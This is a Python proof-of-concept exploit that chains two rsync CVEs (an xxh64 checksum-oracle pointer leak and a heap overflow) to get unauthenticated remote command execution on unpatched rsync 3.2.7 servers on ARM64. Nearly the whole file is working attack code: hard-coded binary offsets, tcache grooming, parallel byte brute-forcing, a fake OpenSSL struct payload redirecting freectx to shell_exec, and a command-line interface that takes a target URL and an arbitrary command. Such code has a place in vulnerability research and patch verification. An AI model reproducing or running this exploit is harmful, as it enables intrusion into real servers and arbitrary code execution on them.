Files
2026-04-09 10:38:23 -07:00

407 lines
18 KiB
Python

#!/usr/bin/env python3
"""
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
Trigger path (OpenSSL 3.0.x libcrypto, identical layout on arm64):
sum_init() → EVP_DigestInit_ex(ctx_evp, ...)
→ algctx-cleanup path (when ctx->algctx != NULL):
x0 = ctx[0x38] (algctx → command string)
x1 = ctx[0x08] (digest → fake EVP_MD)
x1 = digest[0xb0] (freectx → shell_exec)
blr x1 → shell_exec(cmd)
ARM64 PORT NOTES (Debian 12 / glibc 2.36 / OpenSSL 3.0.18):
- Info leak: useful .text pointer is at sum2+24 (NOT sum2+8).
sum2[8:24] are uninitialized junk that must be brute-forced first.
Leaked pointer = start_server+0x484 (return after `bl send_files`).
- Heap groom: malloc(2) gives a 32-byte chunk on this glibc/arch
(same as Ubuntu 22.04 x86-64), so the ONE-filter approach is correct.
- .bss layout differs from x86-64:
xfer_sum_nni at ctx_evp+0x90 (was +0x30) — overlaps fake_evp_md+0x40
last_match at ctx_evp+0x110 — match_sums init ZEROES THIS.
→ command string CANNOT live past +0x108!
New layout: cmd at +0x58 (inside ctx_md, untouched on EVP path),
fake_evp_md at +0xa0 (after xfer_sum_nni preserve).
- OpenSSL EVP_MD_CTX/EVP_MD field offsets are identical to x86-64.
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
Offsets are binary-specific — adjust the constants below.
Usage:
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
"""
import struct, sys, time
import xxhash
import rsync_lib as R
from concurrent.futures import ThreadPoolExecutor, as_completed
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) — ARM64 BUILD ─
LEAK_OFFSET = 0x2aec4 # start_server+0x484 (LR after `bl send_files`)
SHELL_EXEC_OFFSET = 0x2a120 # shell_exec()
CTX_EVP_OFFSET = 0xb4fb0 # EVP_MD_CTX *ctx_evp (.bss)
XFER_SUM_NNI_OFFSET = 0xa0880 # SHA1 entry in valid_checksums_items (.data)
LEAK_BYTES = 24 # leak sum2[8..31]; pointer is at sum2+24
# ── OpenSSL 3.0.x struct offsets (from disassembly, same on arm64) ─
# EVP_MD_CTX (72 = 0x48 bytes):
# +0x08 = digest (const EVP_MD*) ← we set: → fake EVP_MD
# +0x10 = engine (ENGINE*) — must be NULL
# +0x18 = flags (uint32) — 0x400 set (skips pctx cleanup)
# +0x28 = pctx — must be NULL (else pctx-validation path)
# +0x38 = algctx (void*) — 1st arg to freectx ← we set: → cmd string
# +0x40 = fetched_digest — should be NULL
#
# EVP_MD:
# +0xb0 = freectx function pointer ← we set: → shell_exec
# +0x40 = cleanup callback — called LATER if flags&0x02 unset; we crash
# here AFTER shell_exec returns (don't care, cmd already ran).
#
# ARM64 .bss neighbors (offsets from ctx_evp) that get WRITTEN before trigger:
# +0x08 cur_sum_nni ← sum_init writes nni (overlaps fake_ctx[0x00], harmless)
# +0xe0 cur_sum_len ← sum_init writes 20 (inside fake_evp_md, harmless)
# +0xe8 cur_sum_evp_md ← sum_init writes ptr (inside fake_evp_md, harmless)
# +0x110 last_match ← match_sums INIT zeros 8B *** breaks cmd if at +0x108! ***
# +0x118-0x12B ← match_sums zeroes data_transfer/false_alarms/hash_hits/matches
# ── Heap overflow constants ─────────────────────────────────
CHECKSUM_SEED = 1337
SUM_BUF_SIZE = 40
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
def send_args(rc, compress=False):
rc.write_line('--server'); rc.write_line('--sender')
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
rc.write_line('--no-iconv')
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
rc.write_line('--checksum')
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
'--no-devices','--no-specials','--no-links','--no-hard-links',
'--no-acls','--no-inc-recursive']:
rc.write_line(o)
rc.write_line('-r'); rc.write_line('-e.v')
# ═══════════════════════════════════════════════════════════
# Phase 1 — Info Leak
# ═══════════════════════════════════════════════════════════
def leak_pointer(url):
rc = R.connect(url, '31', 'xxh64')
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0)
files = rc.read_file_list()
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
ti = files.index(tgt)
data = rc.download_file(ti, tgt); rc.close()
s1 = R.adler32_rsync(data)
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
s2 = struct.pack('<Q', h.intdigest())
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
# On arm64 the useful pointer is at sum2+24, so brute-force 24 bytes.
# sum2[8:16] is typically 00 00 00 00 ?? ?? 00 00 (high half of a ptr).
# sum2[16:24] is a stack pointer (stable across forks of one daemon).
# sum2[24:32] is start_server+0x484 (the leak target).
#
# CRITICAL: use count=1, NOT count=3277. With many entries, hash_search's
# build_hash_table allocates a variable-size array, perturbing the stack
# frame and making sum2[16:24] unstable across connections.
#
# SPEED: most bytes are predictable. arm64 user-space addresses are
# 0x0000_aaaa_xxxx_xxxx (binary) or 0x0000_ffff_xxxx_xxxx (stack), and
# the low bytes of LEAK_OFFSET are constant. Try likely values first.
leak_off_bytes = struct.pack('<Q', LEAK_OFFSET)
hints = {
# sum2[8:16] = high half of a binary pointer
8: [0x00], 9: [0x00], 10: [0x00], 11: [0x00],
12: [0xaa], 13: [0xaa], 14: [0x00], 15: [0x00],
# sum2[16:24] = stack pointer 0x0000_ffff_????_????
# low 4 bytes are ASLR; bytes 20-23 are always ff ff 00 00
20: [0xff], 21: [0xff], 22: [0x00], 23: [0x00],
# sum2[24:32] = base + LEAK_OFFSET. base is page-aligned (low 12 bits = 0),
# so the bottom byte of the leaked ptr equals the bottom byte of LEAK_OFFSET.
# Byte 25 = (LEAK_OFFSET>>8)&0xff XOR'd with whatever base contributes —
# but base bits 12+ are random, so only byte 24 is fully determined.
24: [leak_off_bytes[0]], # low byte of LEAK_OFFSET (page offset)
25: [leak_off_bytes[1]], # likely (only wrong if base bit 12-15 nonzero in this nibble)
28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00],
}
# Default search order: 0x00 first (most common), then 0xff/0xaa, then linear.
default_order = [0x00, 0xff, 0xaa] + [b for b in range(256) if b not in (0x00, 0xff, 0xaa)]
def probe(prefix, guess_byte):
try:
rc = R.connect(url, '31', 'xxh64')
send_args(rc, compress=True)
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
ov = prefix + bytes([guess_byte])
rc.write_raw_int(1); rc.write_raw_int(tgt.size)
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
rc.write_bulk(struct.pack('<I', s1) + ov)
rc.read_ndx(); rc.read_short_int()
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
sig, _ = rc.receive_deflate_token(); rc.close()
return guess_byte if sig < 0 else None
except Exception:
return None
tries = 0
pool = ThreadPoolExecutor(max_workers=16)
for j in range(LEAK_BYTES):
pos = 8 + j
prefix = bytes(s2) # snapshot
# Try hint values serially first (usually 1 connection)
hint_vals = hints.get(pos, [])
found = None
for h in hint_vals:
tries += 1
if probe(prefix, h) is not None:
found = h; break
# If no hint hit, fan out the remaining 256-len(hints) values in parallel
if found is None:
remaining = [b for b in default_order if b not in hint_vals]
futures = {pool.submit(probe, prefix, b): b for b in remaining}
tries += len(remaining)
for fut in as_completed(futures):
r = fut.result()
if r is not None:
found = r
# Cancel still-pending futures (best-effort; running ones finish)
for f in futures: f.cancel()
break
if found is None:
pool.shutdown(wait=False)
raise RuntimeError(f"leak failed at byte {pos} — stack unstable?")
print(f" sum2[{pos}] = 0x{found:02x} ({tries} total connections)")
s2 += bytes([found])
pool.shutdown(wait=True)
# Pointer is in the LAST 8 bytes leaked (sum2[24:32] for LEAK_BYTES=24)
ptr = struct.unpack('<Q', s2[8+LEAK_BYTES-8:8+LEAK_BYTES])[0]
base = ptr - LEAK_OFFSET
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
print(f"[+] Binary base : 0x{base:x}")
return base, s1, tgt, ti
# ═══════════════════════════════════════════════════════════
# Phase 2 — Heap Overflow → RCE (Phrack approach)
# ═══════════════════════════════════════════════════════════
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
"""
Single-connection overflow following the Phrack "one-shot" approach:
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
payload size, then write a CONTIGUOUS payload in a single read_buf
call directly to .bss:
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
"""
shell_exec = base + SHELL_EXEC_OFFSET
ctx_evp = base + CTX_EVP_OFFSET
print(f"\n[*] Phase 2: heap overflow → RCE")
print(f" shell_exec = 0x{shell_exec:x}")
print(f" ctx_evp = 0x{ctx_evp:x}")
# ── Build the contiguous .bss payload (ARM64 layout) ─────────
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length).
#
# Layout (offsets from &ctx_evp):
# 0x000: ctx_evp value → points to fake_ctx (at +8)
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48), ends at +0x50
# +0x08: digest → fake EVP_MD (at +0xa0)
# +0x18: flags = 0x400 (so pctx-cleanup path is skipped)
# +0x28: pctx = NULL (so pctx-validation path is skipped)
# +0x38: algctx → cmd string (at +0x58)
# 0x058: command string + null (inside ctx_md struct, max 56B)
# *** CANNOT use +0x108: match_sums zeroes last_match @ +0x110! ***
# 0x090: xfer_sum_nni (PRESERVE — sum_init reads this as nni arg)
# 0x0a0: fake EVP_MD
# +0xb0: freectx = shell_exec (absolute payload offset: 0x150)
#
# The fake_evp_md+0x40 slot (= payload +0xe0) overlaps cur_sum_len which
# sum_init writes (=20) BEFORE the trigger fires. That field is the
# legacy "cleanup" callback in EVP_MD; it gets called AFTER shell_exec
# returns (causing a crash) but by then the command has already run.
fake_ctx_off = 8
cmd_off = 0x58 # safe: inside ctx_md, untouched on EVP path
fake_evp_md_off = 0xa0 # after the +0x90 xfer_sum_nni preserve
freectx_off = fake_evp_md_off + 0xb0 # = 0x150
cmd_bytes = command.encode('latin-1') + b'\x00'
if len(cmd_bytes) > 0x90 - cmd_off:
raise ValueError(f"command too long: {len(cmd_bytes)} > {0x90-cmd_off} bytes")
payload_size = freectx_off + 8
fake_ctx_addr = ctx_evp + fake_ctx_off
fake_evp_md_addr = ctx_evp + fake_evp_md_off
cmd_addr = ctx_evp + cmd_off
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
payload = bytearray(payload_size)
# ctx_evp pointer → fake_ctx
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
# fake EVP_MD_CTX fields (at +8)
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
# command string (inside ctx_md region, before xfer_sum_nni)
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
# Preserve xfer_sum_nni at +0x90 (arm64 .bss layout)
struct.pack_into('<Q', payload, 0x90, xfer_sum_nni)
# fake EVP_MD: only freectx at +0xb0 matters
struct.pack_into('<Q', payload, freectx_off, shell_exec)
print(f" payload = {payload_size} bytes at &ctx_evp")
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
# ── Overflow: redirect sums + set s2length = payload_size ──
groom_count = 5
n_extra = 1 # just ONE extra entry
s2len_initial = 64
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
overflow_payload = bytearray(s2len_initial)
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
off = 26
struct.pack_into('<Q', overflow_payload, off, 0) # flength
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
# ── Connect and send ─────────────────────────────────
rc = R.connect(url, '31', 'sha1')
send_args(rc, compress=True)
# Tcache defragmentation: fill all bins so allocations come from wilderness
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
for _ in range(TCACHE_SLOTS * 2):
rc.write_line('-M-' + 'A' * (sz - 2))
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol()
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
# sums(200B) giving us an 8-byte gap (chunk header only).
# NOTE: on arm64 glibc 2.36 (Debian 12), malloc(2) → 32B chunk (same as
# x86-64 glibc 2.35). The second "+ a" filter creates an extra chunk in
# the gap. ONE filter only gives the correct diff=8 layout.
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
rc.write_raw_int(2); rc.write_line('!')
rc.write_raw_int(0)
files = rc.read_file_list()
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
print(f" target ndx={ndx} file={files[ndx].name}")
rc.write_ndx(ndx)
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
# ── Send sum head (for the initial grooming entries) ──
rc.write_raw_int(groom_count) # count = 5
rc.write_raw_int(1337) # blength
rc.write_raw_int(s2len_initial) # s2length = 64
rc.write_raw_int(0) # remainder
# ── Send grooming entries (all use the same overflow payload) ──
bulk = bytearray()
for j in range(groom_count):
bulk += struct.pack('<I', 0) # sum1 (don't care)
bulk += bytes(overflow_payload) # 64 bytes of sum2
rc.write_bulk(bytes(bulk))
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
ext_bulk = struct.pack('<I', 0) + bytes(payload)
rc.write_bulk(bytes(ext_bulk))
print(f" overflow complete, consuming server output...")
# ── Consume server output to unblock the trigger ─────
# After receive_sums, the server enters match_sums → hash_search →
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
#
# We must read the server's echo (ndx + sum_head) so it doesn't
# block on write().
rc.sock.settimeout(10.0)
try:
# Read NDX echo + iflags
rc.read_ndx()
rc.read_short_int()
print(f" read ndx echo OK")
# Read sum head echo (count, blength, s2length, remainder)
echo_count = rc.read_int()
echo_bl = rc.read_int()
echo_s2 = rc.read_int()
echo_rem = rc.read_int()
print(f" sum head echo: count={echo_count} bl={echo_bl} "
f"s2={echo_s2} rem={echo_rem}")
# The server now enters match_sums → sum_init → trigger.
# shell_exec forks+exec's the command, then returns.
# Wait for any output or connection close.
time.sleep(3)
try:
while True:
d = rc.sock.recv(4096)
if not d:
break
except:
pass
except Exception as e:
print(f" server connection ended: {e}")
try:
rc.close()
except:
pass
time.sleep(1)
print(f"[+] Payload delivered — check if command executed.")
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
sys.exit(1)
url, command = sys.argv[1], sys.argv[2]
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
if __name__ == '__main__':
main()